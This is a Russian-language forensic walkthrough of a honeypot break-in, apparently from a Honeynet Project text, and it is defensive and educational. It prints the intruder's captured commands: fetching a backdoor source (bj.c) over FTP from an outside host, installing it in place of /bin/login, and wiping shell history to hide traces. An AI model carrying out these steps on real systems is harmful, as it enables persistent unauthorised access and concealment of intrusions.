После успешного проведения атаки взломщик установил с honeypot соединения TELNET и FTP. К счастью для нас, эти протоколы передавали информацию открытым текстом, так что данные не зашифрованы. Следовательно, мы можем расшифровать записи анализатора пакетов и перехватить историю нажатых взломщиком клавиш. Snort уже сделала это за нас, конвертировав содержимое сеансов связи TELNET и FTP в формате ASCII в однородные текстовые файлы. Анализируя записи Snort, мы можем определить, чем занимается наш взломщик. Одно из преимуществ декодирования сеансов связи при помощи сетевого анализатора заключается в том, что мы записываем не только поток STDIN (keystrokes), но также STDOUT и STDER. Перейдем к просмотру сеансов связи взломщика, записанных при помощи Snort. По мере проведения анализа обратите внимание на то, как много можно узнать не только об использованных инструментах, но и о тактике, уровне технической подготовки и мотивах взломщика. Например, выясните в ходе дальнейшего анализа, в скольких системах наш взломщик имеет учетные записи. Обычная тактика взломщиков заключается в том, чтобы использовать в нападении многочисленные системы. Кроме того, попробуйте определить, имеем мы дело с опытным взломщиком или просто с любителем. Наконец, постарайтесь выяснить, почему взломщик сначала напал на нашу honeypot? Ниже перечислены нажатые взломщиком клавиши. Анализ клавиш следует за их текстом.
Сначала наш друг установил с хоста 213.28.22.189 со взломанной системой соединение TELNET под учетной записью twin, а затем получил администраторский доступ как hantu. Помните, взломщик не может просто установить соединение TELNET, так как hantu - это UID 0 или root, которым запрещен удаленный доступ.
#¦!"'!¦¦# • 9600, 9600'VT5444VT5444 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 login: twin
Password: Password: haxOr No directory /home/twin! Logging in with home = "/". [twinfapollo /]$ su hantu Password: Password: haxOr
Далее наш друг установил FTP-соединение с другой системой, чтобы получить свой инструментарий. В данном случае это просто программа черного хода - bj.c.
[rootQapollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(l) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 sees (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
Наш взломщик забирает программу, компилирует bj.c (исходный код см. в приложении Е) и инсталлирует ее в качестве замены /bin/login. Этот черный ход даст ему доступ к системе, независимо от того, какая учетная запись будет использована. Обратите внимание, что все команды выполняются после приглашения на ввод команды, чтобы компилировать исходный код. Кажется, что все команды compile были выполнены путем вырезки и вставки. Для этих целей, скорее всего, используется шаблон.
[root@apollo /]# gcc -о login bj.cchown root:bin loginchmod 4555 loginchmod
u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/
loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm
bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constatnt
Теперь он пытается установить компилированную программу черного хода: сначала копирует действительный /bin/login в /usr/bin/xstat, а затем удаляет /bin/login. После этого пытается скопировать в /bin/login троянский login.
[root@apollo /]# chown root:bin login chown: login: No such file or directory [root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
[root@apollo /]# chmod u-w login
chmod: login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/xstat
[root@apollo /]# cp /bin/login /usr/bin/old
[root@apollo /]# rm /bin/login
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login bin/login
mv: login: No such file or directory
[root@apollo /]# rm bj.c
Уф-ф! Попытка не удалась; очевидно, компиляция была неудачной. Взломщик устанавливает FTP-соединение с сайтом и вновь загружает программу:
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35 Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(l) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
ul50 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 sees (7.3 Kbytes/sec)
ftp> it
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
Это уже вторая попытка компиляции программы черного хода. Обратите внимание на то, что используются те же скопированные и вставленные команды.
[root@apollo /]# gcc -о login bj.cchown root:bin loginchmod 4555 loginchmod
u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/
loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm
bj.cgcc -o login bj.c
bj.с: In function 'owned':
b].c:16: warning: assignment makes pointer from integer without a cast
Теперь мы видим, что устанавливается черный ход. Взломщик еще раз пытается скопировать /bin/login в /use/bin/xstat. Однако у него не получатся, так как /bin/login уже удален. Затем он успешно ставит скомпилированную троянскую программу bj.c на место /bin/login. Это черный ход. С настройкой терминала VT9111 программа позволяет получить несанкционированный доступ.
[root@apollo /]# chown root:bin login
[root@apollo /]# chmod 4555 login
[root@apollo /]# chmod u-w login
[root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
[root@apollo /]# rm /bin/login
rm: cannot remove Vbin/login1: No such file or directory
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login /bin/login
Теперь взломщик маскирует свои действия. Мы полагаем, что эти команды также записаны в сценарии, затем скопированы и вставлены. Посмотрите на все команды, которые выполняются по одному приглашению к вводу команды. Кроме того, нам кажется, что это стандартный сценарий зачистки; обратите внимание на то, как взломщик пытается удалить несуществующие файлы, такие как /tmp/h. Значит, мы имеем дело с неопытным пользователем. Скорее всего, это просто новичок, задающий приобретенные у кого-то команды. Независимо от того, как и где была получена эта информация, новички могут представлять серьезную угрозу.
359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove '/tmp/h': No such file or directory rm: cannot remove '/usr/sbin/rpc. portmap': No such file or directory [root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd; ps -aux | grep portmap ; rm /sbin/portmap; rm /tmp/h; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap; rm /sbin/por
359 ? 00:00:00 inetd
rm: cannot remove '/sbin/portmap': No such file or directory rm: cannot remove '/tmp/h': No such file or directory rm: cannot remove '/usr/sbin/rpc.portmap' : No such file or directory [root@apollo /]# rm: cannot remove '/sbin/portmap': No such file or directory
Только что произошло несколько интересных событий. Во-первых, наш взломщик дважды запустил одну и ту же серию команд. Стандартный сценарий зачистки выдал ошибки, так как взломщик попытался удалить несуществующие файлы. Мы полагаем, что он увидел эти ошибки и забеспокоился, так как затем хотел удалить файлы вручную, несмотря на то что они не существуют.
rm: cannot remove '/tmp/h': No such file or directory
rm: cannot remove '/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove '/sbin/portmap': No such file or directory
rm: cannot remove '/tmp/h': No such file or directory
rm: cannot remove '/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# exit
exit
[twin@apollo /]$ exit
logout
Вот так! Наш друг установил простую программу черного хода, bj.c, и удалился. Программа разрешает несанкционированный доступ на основании настройки TERM, в данном случае VT9111. С этого момента взломщик может получить доступ к системе в любой момент, когда пожелает.